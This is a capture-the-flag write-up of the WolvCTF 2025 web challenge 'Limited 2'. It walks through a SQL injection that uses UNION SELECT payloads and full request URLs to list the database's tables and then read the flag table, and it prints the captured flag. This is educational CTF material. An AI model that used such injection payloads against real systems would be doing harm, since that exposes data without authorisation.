🌐 Limited 2
A detailed write-up of the Web challenge 'Limited 2' from WolvCTF - 2025
📊 Challenge Overview
Category Details Additional Info 🏆 Event WolvCTF - 2025 Event Link 🔰 Category Web 🌐 💎 Points 462 Out of 500 total ⭐ Difficulty 🟢 Easy Personal Rating: 1/10 👤 Author SamXML Profile 🎮 Solves (At the time of flag submission) 18 solve rate 📅 Date 22-03-2025 WolvCTF - 2025 🦾 Solved By mH4ck3r0n3 Team: QnQSec
📝 Challenge Information
Note: This uses the same source as Limited 1. Can you read the flag in another table? That table name starts with Flag_ https://limited-app-974780027560.us-east5.run.app/
🎯 Challenge Files & Infrastructure
Provided Files
Files:
🔍 Initial Analysis
First Steps
This is the second challenge of the
Limited
series. I already analyzed the attached files in the previous writeup (Limited 1) and built the query for the injection, so let’s move directly to the exploitation phase.
🔬 Vulnerability Analysis
Potential Vulnerabilities
- SQL Injection
🎯 Solution Path
Exploitation Steps
Initial setup
As mentioned in the previous writeup, the first thing we need to do is extract the name of the table containing the flag, since it’s random. We can achieve this by modifying the query and constructing a query with
information_schema.tables
, which will help us read all the tables in the database.
Exploitation
So, the first thing I do is modify the initial query to:
1
*/ 0 UNION SELECT table_name, 2, 3, 4 FROM information_schema.tables WHERE table_schema=database() -- "
to extract the table names, constructing the following link:
https://limited-app-974780027560.us-east5.run.app/query?price=10.00&price_op=< /*&limit=*/ 0 UNION SELECT table_name, 2, 3, 4 FROM information_schema.tables WHERE table_schema=database() --
:After obtaining the name of the table containing the flag (
Flag_843423739
), I modify the query again to extract the flag from this table:
1
*/ 0 UNION SELECT value, 2, 3, 4 FROM Flag_843423739 -- "
I then construct the final link again:
https://limited-app-974780027560.us-east5.run.app/query?price=10.00&price_op=< /*&limit=*/ 0 UNION SELECT value, 2, 3, 4 FROM Flag_843423739 --
and visiting the page, I obtained the flag.
Flag capture
🛠️ Exploitation Process
Approach
The automatic exploit first extracts the name of the table containing the flag, and then uses the extracted name to construct the query that extracts the flag from the previously extracted table. After that, it uses a regex to grab the flag and print it.
🚩 Flag Capture
Flagwctf{r34d1n6_07h3r_74bl35_15_fun_96427235634}
Proof of Execution
🔧 Tools Used
Tool Purpose Python Exploit
💡 Key Learnings
Skills Improved
- Binary Exploitation
- Reverse Engineering
- Web Exploitation
- Cryptography
- Forensics
- OSINT
- Miscellaneous
📚 References & Resources
Similar Challenges
Learning Resources
📊 Final Statistics
Metric | Value | Notes |
---|---|---|
Time to Solve | 00:03 | From start to flag |
Global Ranking (At the time of flag submission) | 18/335 | Challenge ranking |
Points Earned | 462 | Team contribution |
Created: 22-03-2025 • Last Modified: 22-03-2025 Author: mH4ck3r0n3 • Team: QnQSec